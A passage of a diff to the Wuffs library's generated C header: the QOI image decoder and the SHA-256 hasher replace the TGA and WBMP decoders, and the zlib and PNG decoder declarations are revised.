+12219,9 @@ struct wuffs_zlib__decoder__struct { - return wuffs_zlib__decoder__set_quirk(this, a_key, a_value); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_zlib__decoder__history_retain_length(this); -+ inline wuffs_base__optional_u63 -+ dst_history_retain_length() const { -+ return wuffs_zlib__decoder__dst_history_retain_length(this); - } - - inline wuffs_base__range_ii_u64 -@@ -11184,11 +12262,9 @@ extern const char wuffs_png__error__unsupported_png_file[]; - - // ---------------- Public Consts - --#define WUFFS_PNG__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -+#define WUFFS_PNG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 2251799562027015u - --#define WUFFS_PNG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 2251799562027015 -- --#define WUFFS_PNG__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 8 -+#define WUFFS_PNG__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 8u - - // ---------------- Struct Declarations - -@@ -11321,11 +12397,6 @@ wuffs_png__decoder__tell_me_more( - wuffs_base__more_information* a_minfo, - wuffs_base__io_buffer* a_src); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_png__decoder__history_retain_length( -- const wuffs_png__decoder* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 - wuffs_png__decoder__workbuf_len( -@@ -11438,26 +12509,26 @@ struct wuffs_png__decoder__struct { - wuffs_png__decoder* self, - wuffs_base__slice_u8 a_curr, - wuffs_base__slice_u8 a_prev); -- uint32_t p_decode_image_config[1]; -- uint32_t p_do_decode_image_config[1]; -- uint32_t p_decode_ihdr[1]; -- uint32_t p_decode_other_chunk[1]; -- uint32_t p_decode_actl[1]; -- uint32_t p_decode_chrm[1]; -- uint32_t p_decode_fctl[1]; -- uint32_t p_decode_gama[1]; -- uint32_t p_decode_iccp[1]; -- uint32_t p_decode_plte[1]; -- uint32_t p_decode_srgb[1]; -- uint32_t p_decode_trns[1]; -- uint32_t p_decode_frame_config[1]; -- uint32_t p_do_decode_frame_config[1]; -- uint32_t p_skip_frame[1]; -- uint32_t p_decode_frame[1]; -- uint32_t p_do_decode_frame[1]; -- uint32_t p_decode_pass[1]; -- uint32_t p_tell_me_more[1]; -- uint32_t p_do_tell_me_more[1]; -+ uint32_t p_decode_image_config; -+ uint32_t p_do_decode_image_config; -+ uint32_t p_decode_ihdr; -+ uint32_t p_decode_other_chunk; -+ uint32_t p_decode_actl; -+ uint32_t p_decode_chrm; -+ uint32_t p_decode_fctl; -+ uint32_t p_decode_gama; -+ uint32_t p_decode_iccp; -+ uint32_t p_decode_plte; -+ uint32_t p_decode_srgb; -+ uint32_t p_decode_trns; -+ uint32_t p_decode_frame_config; -+ uint32_t p_do_decode_frame_config; -+ uint32_t p_skip_frame; -+ uint32_t p_decode_frame; -+ uint32_t p_do_decode_frame; -+ uint32_t p_decode_pass; -+ uint32_t p_tell_me_more; -+ uint32_t p_do_tell_me_more; - wuffs_base__status (*choosy_filter_and_swizzle)( - wuffs_png__decoder* self, - wuffs_base__pixel_buffer* a_dst, -@@ -11473,54 +12544,54 @@ struct wuffs_png__decoder__struct { - struct { - uint32_t v_checksum_have; - uint64_t scratch; -- } s_do_decode_image_config[1]; -+ } s_do_decode_image_config; - struct { - uint64_t scratch; -- } s_decode_ihdr[1]; -+ } s_decode_ihdr; - struct { - uint64_t scratch; -- } s_decode_other_chunk[1]; -+ } s_decode_other_chunk; - struct { - uint64_t scratch; -- } s_decode_actl[1]; -+ } s_decode_actl; - struct { - uint64_t scratch; -- } s_decode_chrm[1]; -+ } s_decode_chrm; - struct { - uint32_t v_x0; - uint32_t v_x1; - uint32_t v_y1; - uint64_t scratch; -- } s_decode_fctl[1]; -+ } s_decode_fctl; - struct { - uint64_t scratch; -- } s_decode_gama[1]; -+ } s_decode_gama; - struct { - uint32_t v_num_entries; - uint32_t v_i; - uint64_t scratch; -- } s_decode_plte[1]; -+ } s_decode_plte; - struct { - uint32_t v_i; - uint32_t v_n; - uint64_t scratch; -- } s_decode_trns[1]; -+ } s_decode_trns; - struct { - uint64_t scratch; -- } s_do_decode_frame_config[1]; -+ } s_do_decode_frame_config; - struct { - uint64_t scratch; -- } s_skip_frame[1]; -+ } s_skip_frame; - struct { - uint64_t scratch; -- } s_do_decode_frame[1]; -+ } s_do_decode_frame; - struct { - uint64_t scratch; -- } s_decode_pass[1]; -+ } s_decode_pass; - struct { - wuffs_base__status v_zlib_status; - uint64_t scratch; -- } s_do_tell_me_more[1]; -+ } s_do_tell_me_more; - } private_data; - - #ifdef __cplusplus -@@ -11664,11 +12735,6 @@ struct wuffs_png__decoder__struct { - return wuffs_png__decoder__tell_me_more(this, a_dst, a_minfo, a_src); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_png__decoder__history_retain_length(this); -- } -- - inline wuffs_base__range_ii_u64 - workbuf_len() const { - return wuffs_png__decoder__workbuf_len(this); -@@ -11681,24 +12747,21 @@ struct wuffs_png__decoder__struct { - - #endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) || defined(WUFFS_NONMONOLITHIC) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) || defined(WUFFS_NONMONOLITHIC) - - // ---------------- Status Codes - --extern const char wuffs_tga__error__bad_header[]; --extern const char wuffs_tga__error__bad_run_length_encoding[]; --extern const char wuffs_tga__error__truncated_input[]; --extern const char wuffs_tga__error__unsupported_tga_file[]; -+extern const char wuffs_qoi__error__bad_footer[]; -+extern const char wuffs_qoi__error__bad_header[]; -+extern const char wuffs_qoi__error__truncated_input[]; - - // ---------------- Public Consts - --#define WUFFS_TGA__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -- --#define WUFFS_TGA__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 -+#define WUFFS_QOI__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - - // ---------------- Struct Declarations - --typedef struct wuffs_tga__decoder__struct wuffs_tga__decoder; -+typedef struct wuffs_qoi__decoder__struct wuffs_qoi__decoder; - - #ifdef __cplusplus - extern "C" { -@@ -11713,14 +12776,14 @@ extern "C" { - // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_tga__decoder__initialize( -- wuffs_tga__decoder* self, -+wuffs_qoi__decoder__initialize( -+ wuffs_qoi__decoder* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options); - - size_t --sizeof__wuffs_tga__decoder(void); -+sizeof__wuffs_qoi__decoder(void); - - // ---------------- Allocs - -@@ -11730,19 +12793,19 @@ sizeof__wuffs_tga__decoder(void); - // calling free on the returned pointer. That pointer is effectively a C++ - // std::unique_ptr. - --wuffs_tga__decoder* --wuffs_tga__decoder__alloc(void); -+wuffs_qoi__decoder* -+wuffs_qoi__decoder__alloc(void); - - static inline wuffs_base__image_decoder* --wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder(void) { -- return (wuffs_base__image_decoder*)(wuffs_tga__decoder__alloc()); -+wuffs_qoi__decoder__alloc_as__wuffs_base__image_decoder(void) { -+ return (wuffs_base__image_decoder*)(wuffs_qoi__decoder__alloc()); - } - - // ---------------- Upcasts - - static inline wuffs_base__image_decoder* --wuffs_tga__decoder__upcast_as__wuffs_base__image_decoder( -- wuffs_tga__decoder* p) { -+wuffs_qoi__decoder__upcast_as__wuffs_base__image_decoder( -+ wuffs_qoi__decoder* p) { - return (wuffs_base__image_decoder*)p; - } - -@@ -11750,35 +12813,35 @@ wuffs_tga__decoder__upcast_as__wuffs_base__image_decoder( - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_tga__decoder__get_quirk( -- const wuffs_tga__decoder* self, -+wuffs_qoi__decoder__get_quirk( -+ const wuffs_qoi__decoder* self, - uint32_t a_key); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__set_quirk( -- wuffs_tga__decoder* self, -+wuffs_qoi__decoder__set_quirk( -+ wuffs_qoi__decoder* self, - uint32_t a_key, - uint64_t a_value); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__decode_image_config( -- wuffs_tga__decoder* self, -+wuffs_qoi__decoder__decode_image_config( -+ wuffs_qoi__decoder* self, - wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__decode_frame_config( -- wuffs_tga__decoder* self, -+wuffs_qoi__decoder__decode_frame_config( -+ wuffs_qoi__decoder* self, - wuffs_base__frame_config* a_dst, - wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__decode_frame( -- wuffs_tga__decoder* self, -+wuffs_qoi__decoder__decode_frame( -+ wuffs_qoi__decoder* self, - wuffs_base__pixel_buffer* a_dst, - wuffs_base__io_buffer* a_src, - wuffs_base__pixel_blend a_blend, -@@ -11787,55 +12850,50 @@ wuffs_tga__decoder__decode_frame( - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_tga__decoder__frame_dirty_rect( -- const wuffs_tga__decoder* self); -+wuffs_qoi__decoder__frame_dirty_rect( -+ const wuffs_qoi__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_tga__decoder__num_animation_loops( -- const wuffs_tga__decoder* self); -+wuffs_qoi__decoder__num_animation_loops( -+ const wuffs_qoi__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_tga__decoder__num_decoded_frame_configs( -- const wuffs_tga__decoder* self); -+wuffs_qoi__decoder__num_decoded_frame_configs( -+ const wuffs_qoi__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_tga__decoder__num_decoded_frames( -- const wuffs_tga__decoder* self); -+wuffs_qoi__decoder__num_decoded_frames( -+ const wuffs_qoi__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__restart_frame( -- wuffs_tga__decoder* self, -+wuffs_qoi__decoder__restart_frame( -+ wuffs_qoi__decoder* self, - uint64_t a_index, - uint64_t a_io_position); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_tga__decoder__set_report_metadata( -- wuffs_tga__decoder* self, -+wuffs_qoi__decoder__set_report_metadata( -+ wuffs_qoi__decoder* self, - uint32_t a_fourcc, - bool a_report); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__tell_me_more( -- wuffs_tga__decoder* self, -+wuffs_qoi__decoder__tell_me_more( -+ wuffs_qoi__decoder* self, - wuffs_base__io_buffer* a_dst, - wuffs_base__more_information* a_minfo, - wuffs_base__io_buffer* a_src); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_tga__decoder__history_retain_length( -- const wuffs_tga__decoder* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_tga__decoder__workbuf_len( -- const wuffs_tga__decoder* self); -+wuffs_qoi__decoder__workbuf_len( -+ const wuffs_qoi__decoder* self); - - #ifdef __cplusplus - } // extern "C" -@@ -11850,7 +12908,7 @@ wuffs_tga__decoder__workbuf_len( - - #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --struct wuffs_tga__decoder__struct { -+struct wuffs_qoi__decoder__struct { - // Do not access the private_impl's or private_data's fields directly. There - // is no API/ABI compatibility or safety guarantee if you do so. Instead, use - // the wuffs_foo__bar__baz functions. -@@ -11864,69 +12922,58 @@ struct wuffs_tga__decoder__struct { - wuffs_base__vtable vtable_for__wuffs_base__image_decoder; - wuffs_base__vtable null_vtable; - -+ uint32_t f_pixfmt; - uint32_t f_width; - uint32_t f_height; -+ uint64_t f_remaining_pixels_times_4; - uint8_t f_call_sequence; -- uint8_t f_header_id_length; -- uint8_t f_header_color_map_type; -- uint8_t f_header_image_type; -- uint16_t f_header_color_map_first_entry_index; -- uint16_t f_header_color_map_length; -- uint8_t f_header_color_map_entry_size; -- uint8_t f_header_pixel_depth; -- uint8_t f_header_image_descriptor; -- bool f_opaque; -- uint32_t f_scratch_bytes_per_pixel; -- uint32_t f_src_bytes_per_pixel; -- uint32_t f_src_pixfmt; -- uint64_t f_frame_config_io_position; -+ uint32_t f_buffer_index; -+ uint32_t f_dst_x; -+ uint32_t f_dst_y; - wuffs_base__pixel_swizzler f_swizzler; - -- uint32_t p_decode_image_config[1]; -- uint32_t p_do_decode_image_config[1]; -- uint32_t p_decode_frame_config[1]; -- uint32_t p_do_decode_frame_config[1]; -- uint32_t p_decode_frame[1]; -- uint32_t p_do_decode_frame[1]; -+ uint32_t p_decode_image_config; -+ uint32_t p_do_decode_image_config; -+ uint32_t p_decode_frame_config; -+ uint32_t p_do_decode_frame_config; -+ uint32_t p_decode_frame; -+ uint32_t p_do_decode_frame; -+ uint32_t p_from_src_to_buffer; - } private_impl; - - struct { -- uint8_t f_dst_palette[1024]; -- uint8_t f_src_palette[1024]; -- uint8_t f_scratch[4]; -+ uint8_t f_pixel[4]; -+ uint8_t f_cache[256]; -+ uint8_t f_buffer[8196]; - - struct { -- uint32_t v_i; - uint64_t scratch; -- } s_do_decode_image_config[1]; -+ } s_do_decode_image_config; - struct { -- uint64_t v_dst_bytes_per_pixel; -- uint32_t v_dst_x; -- uint32_t v_dst_y; -- uint64_t v_mark; -- uint32_t v_num_pixels32; -- uint32_t v_lit_length; -- uint32_t v_run_length; -- uint64_t v_num_dst_bytes; - uint64_t scratch; -- } s_do_decode_frame[1]; -+ } s_do_decode_frame; -+ struct { -+ uint8_t v_dg; -+ uint32_t v_bi; -+ uint32_t v_bk; -+ } s_from_src_to_buffer; - } private_data; - - #ifdef __cplusplus - #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -- using unique_ptr = std::unique_ptr; -+ using unique_ptr = std::unique_ptr; - - // On failure, the alloc_etc functions return nullptr. They don't throw. - - static inline unique_ptr - alloc() { -- return unique_ptr(wuffs_tga__decoder__alloc()); -+ return unique_ptr(wuffs_qoi__decoder__alloc()); - } - - static inline wuffs_base__image_decoder::unique_ptr - alloc_as__wuffs_base__image_decoder() { - return wuffs_base__image_decoder::unique_ptr( -- wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder()); -+ wuffs_qoi__decoder__alloc_as__wuffs_base__image_decoder()); - } - #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -@@ -11942,10 +12989,10 @@ struct wuffs_tga__decoder__struct { - // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in - // order to provide convenience methods. These forward on "this", so that you - // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -- wuffs_tga__decoder__struct() = delete; -- wuffs_tga__decoder__struct(const wuffs_tga__decoder__struct&) = delete; -- wuffs_tga__decoder__struct& operator=( -- const wuffs_tga__decoder__struct&) = delete; -+ wuffs_qoi__decoder__struct() = delete; -+ wuffs_qoi__decoder__struct(const wuffs_qoi__decoder__struct&) = delete; -+ wuffs_qoi__decoder__struct& operator=( -+ const wuffs_qoi__decoder__struct&) = delete; - #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) - - #if !defined(WUFFS_IMPLEMENTATION) -@@ -11965,7 +13012,7 @@ struct wuffs_tga__decoder__struct { - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options) { -- return wuffs_tga__decoder__initialize( -+ return wuffs_qoi__decoder__initialize( - this, sizeof_star_self, wuffs_version, options); - } - -@@ -11977,28 +13024,28 @@ struct wuffs_tga__decoder__struct { - inline uint64_t - get_quirk( - uint32_t a_key) const { -- return wuffs_tga__decoder__get_quirk(this, a_key); -+ return wuffs_qoi__decoder__get_quirk(this, a_key); - } - - inline wuffs_base__status - set_quirk( - uint32_t a_key, - uint64_t a_value) { -- return wuffs_tga__decoder__set_quirk(this, a_key, a_value); -+ return wuffs_qoi__decoder__set_quirk(this, a_key, a_value); - } - - inline wuffs_base__status - decode_image_config( - wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src) { -- return wuffs_tga__decoder__decode_image_config(this, a_dst, a_src); -+ return wuffs_qoi__decoder__decode_image_config(this, a_dst, a_src); - } - - inline wuffs_base__status - decode_frame_config( - wuffs_base__frame_config* a_dst, - wuffs_base__io_buffer* a_src) { -- return wuffs_tga__decoder__decode_frame_config(this, a_dst, a_src); -+ return wuffs_qoi__decoder__decode_frame_config(this, a_dst, a_src); - } - - inline wuffs_base__status -@@ -12008,41 +13055,41 @@ struct wuffs_tga__decoder__struct { - wuffs_base__pixel_blend a_blend, - wuffs_base__slice_u8 a_workbuf, - wuffs_base__decode_frame_options* a_opts) { -- return wuffs_tga__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); -+ return wuffs_qoi__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); - } - - inline wuffs_base__rect_ie_u32 - frame_dirty_rect() const { -- return wuffs_tga__decoder__frame_dirty_rect(this); -+ return wuffs_qoi__decoder__frame_dirty_rect(this); - } - - inline uint32_t - num_animation_loops() const { -- return wuffs_tga__decoder__num_animation_loops(this); -+ return wuffs_qoi__decoder__num_animation_loops(this); - } - - inline uint64_t - num_decoded_frame_configs() const { -- return wuffs_tga__decoder__num_decoded_frame_configs(this); -+ return wuffs_qoi__decoder__num_decoded_frame_configs(this); - } - - inline uint64_t - num_decoded_frames() const { -- return wuffs_tga__decoder__num_decoded_frames(this); -+ return wuffs_qoi__decoder__num_decoded_frames(this); - } - - inline wuffs_base__status - restart_frame( - uint64_t a_index, - uint64_t a_io_position) { -- return wuffs_tga__decoder__restart_frame(this, a_index, a_io_position); -+ return wuffs_qoi__decoder__restart_frame(this, a_index, a_io_position); - } - - inline wuffs_base__empty_struct - set_report_metadata( - uint32_t a_fourcc, - bool a_report) { -- return wuffs_tga__decoder__set_report_metadata(this, a_fourcc, a_report); -+ return wuffs_qoi__decoder__set_report_metadata(this, a_fourcc, a_report); - } - - inline wuffs_base__status -@@ -12050,42 +13097,30 @@ struct wuffs_tga__decoder__struct { - wuffs_base__io_buffer* a_dst, - wuffs_base__more_information* a_minfo, - wuffs_base__io_buffer* a_src) { -- return wuffs_tga__decoder__tell_me_more(this, a_dst, a_minfo, a_src); -- } -- -- inline uint64_t -- history_retain_length() const { -- return wuffs_tga__decoder__history_retain_length(this); -+ return wuffs_qoi__decoder__tell_me_more(this, a_dst, a_minfo, a_src); - } - - inline wuffs_base__range_ii_u64 - workbuf_len() const { -- return wuffs_tga__decoder__workbuf_len(this); -+ return wuffs_qoi__decoder__workbuf_len(this); - } - - #endif // __cplusplus --}; // struct wuffs_tga__decoder__struct -+}; // struct wuffs_qoi__decoder__struct - - #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) || defined(WUFFS_NONMONOLITHIC) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) || defined(WUFFS_NONMONOLITHIC) - - // ---------------- Status Codes - --extern const char wuffs_wbmp__error__bad_header[]; --extern const char wuffs_wbmp__error__truncated_input[]; -- - // ---------------- Public Consts - --#define WUFFS_WBMP__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -- --#define WUFFS_WBMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 -- - // ---------------- Struct Declarations - --typedef struct wuffs_wbmp__decoder__struct wuffs_wbmp__decoder; -+typedef struct wuffs_sha256__hasher__struct wuffs_sha256__hasher; - - #ifdef __cplusplus - extern "C" { -@@ -12100,14 +13135,14 @@ extern "C" { - // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_wbmp__decoder__initialize( -- wuffs_wbmp__decoder* self, -+wuffs_sha256__hasher__initialize( -+ wuffs_sha256__hasher* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options); - - size_t --sizeof__wuffs_wbmp__decoder(void); -+sizeof__wuffs_sha256__hasher(void); - - // ---------------- Allocs - -@@ -12117,112 +13152,53 @@ sizeof__wuffs_wbmp__decoder(void); - // calling free on the returned pointer. That pointer is effectively a C++ - // std::unique_ptr. - --wuffs_wbmp__decoder* --wuffs_wbmp__decoder__alloc(void); -+wuffs_sha256__hasher* -+wuffs_sha256__hasher__alloc(void); - --static inline wuffs_base__image_decoder* --wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder(void) { -- return (wuffs_base__image_decoder*)(wuffs_wbmp__decoder__alloc()); -+static inline wuffs_base__hasher_bitvec256* -+wuffs_sha256__hasher__alloc_as__wuffs_base__hasher_bitvec256(void) { -+ return (wuffs_base__hasher_bitvec256*)(wuffs_sha256__hasher__alloc()); - } - - // ---------------- Upcasts - --static inline wuffs_base__image_decoder* --wuffs_wbmp__decoder__upcast_as__wuffs_base__image_decoder( -- wuffs_wbmp__decoder* p) { -- return (wuffs_base__image_decoder*)p; -+static inline wuffs_base__hasher_bitvec256* -+wuffs_sha256__hasher__upcast_as__wuffs_base__hasher_bitvec256( -+ wuffs_sha256__hasher* p) { -+ return (wuffs_base__hasher_bitvec256*)p; - } - - // ---------------- Public Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_wbmp__decoder__get_quirk( -- const wuffs_wbmp__decoder* self, -+wuffs_sha256__hasher__get_quirk( -+ const wuffs_sha256__hasher* self, - uint32_t a_key); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__set_quirk( -- wuffs_wbmp__decoder* self, -+wuffs_sha256__hasher__set_quirk( -+ wuffs_sha256__hasher* self, - uint32_t a_key, - uint64_t a_value); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__decode_image_config( -- wuffs_wbmp__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__decode_frame_config( -- wuffs_wbmp__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__decode_frame( -- wuffs_wbmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_wbmp__decoder__frame_dirty_rect( -- const wuffs_wbmp__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_wbmp__decoder__num_animation_loops( -- const wuffs_wbmp__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_wbmp__decoder__num_decoded_frame_configs( -- const wuffs_wbmp__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_wbmp__decoder__num_decoded_frames( -- const wuffs_wbmp__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__restart_frame( -- wuffs_wbmp__decoder* self, -- uint64_t a_index, -- uint64_t a_io_position); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_wbmp__decoder__set_report_metadata( -- wuffs_wbmp__decoder* self, -- uint32_t a_fourcc, -- bool a_report); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__tell_me_more( -- wuffs_wbmp__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src); -+wuffs_sha256__hasher__update( -+ wuffs_sha256__hasher* self, -+ wuffs_base__slice_u8 a_x); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_wbmp__decoder__history_retain_length( -- const wuffs_wbmp__decoder* self); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 -+wuffs_sha256__hasher__update_bitvec256( -+ wuffs_sha256__hasher* self, -+ wuffs_base__slice_u8 a_x); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_wbmp__decoder__workbuf_len( -- const wuffs_wbmp__decoder* self); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 -+wuffs_sha256__hasher__checksum_bitvec256( -+ const wuffs_sha256__hasher* self); - - #ifdef __cplusplus - } // extern "C" -@@ -12237,7 +13213,7 @@ wuffs_wbmp__decoder__workbuf_len( - - #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --struct wuffs_wbmp__decoder__struct { -+struct wuffs_sha256__hasher__struct { - // Do not access the private_impl's or private_data's fields directly. There - // is no API/ABI compatibility or safety guarantee if you do so. Instead, use - // the wuffs_foo__bar__baz functions. -@@ -12248,52 +13224,41 @@ struct wuffs_wbmp__decoder__struct { - struct { - uint32_t magic; - uint32_t active_coroutine; -- wuffs_base__vtable vtable_for__wuffs_base__image_decoder; -+ wuffs_base__vtable vtable_for__wuffs_base__hasher_bitvec256; - wuffs_base__vtable null_vtable; - -- uint32_t f_width; -- uint32_t f_height; -- uint8_t f_call_sequence; -- uint64_t f_frame_config_io_position; -- wuffs_base__pixel_swizzler f_swizzler; -- -- uint32_t p_decode_image_config[1]; -- uint32_t p_do_decode_image_config[1]; -- uint32_t p_decode_frame_config[1]; -- uint32_t p_do_decode_frame_config[1]; -- uint32_t p_decode_frame[1]; -- uint32_t p_do_decode_frame[1]; -+ uint64_t f_length_modulo_u64; -+ bool f_length_overflows_u64; -+ uint8_t f_padding0; -+ uint8_t f_padding1; -+ uint8_t f_padding2; -+ uint32_t f_buf_len; -+ uint8_t f_buf_data[64]; -+ uint32_t f_h0; -+ uint32_t f_h1; -+ uint32_t f_h2; -+ uint32_t f_h3; -+ uint32_t f_h4; -+ uint32_t f_h5; -+ uint32_t f_h6; -+ uint32_t f_h7; - } private_impl; - -- struct { -- struct { -- uint32_t v_i; -- uint32_t v_p; -- } s_do_decode_image_config[1]; -- struct { -- uint64_t v_dst_bytes_per_pixel; -- uint32_t v_dst_x; -- uint32_t v_dst_y; -- uint8_t v_src[1]; -- uint8_t v_c; -- } s_do_decode_frame[1]; -- } private_data; -- - #ifdef __cplusplus - #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -- using unique_ptr = std::unique_ptr; -+ using unique_ptr = std::unique_ptr; - - // On failure, the alloc_etc functions return nullptr. They don't throw. - - static inline unique_ptr - alloc() { -- return unique_ptr(wuffs_wbmp__decoder__alloc()); -+ return unique_ptr(wuffs_sha256__hasher__alloc()); - } - -- static inline wuffs_base__image_decoder::unique_ptr -- alloc_as__wuffs_base__image_decoder() { -- return wuffs_base__image_decoder::unique_ptr( -- wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder()); -+ static inline wuffs_base__hasher_bitvec256::unique_ptr -+ alloc_as__wuffs_base__hasher_bitvec256() { -+ return wuffs_base__hasher_bitvec256::unique_ptr( -+ wuffs_sha256__hasher__alloc_as__wuffs_base__hasher_bitvec256()); - } - #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -@@ -12309,10 +13274,10 @@ struct wuffs_wbmp__decoder__struct { - // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in - // order to provide convenience methods. These forward on "this", so that you - // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -- wuffs_wbmp__decoder__struct() = delete; -- wuffs_wbmp__decoder__struct(const wuffs_wbmp__decoder__struct&) = delete; -- wuffs_wbmp__decoder__struct& 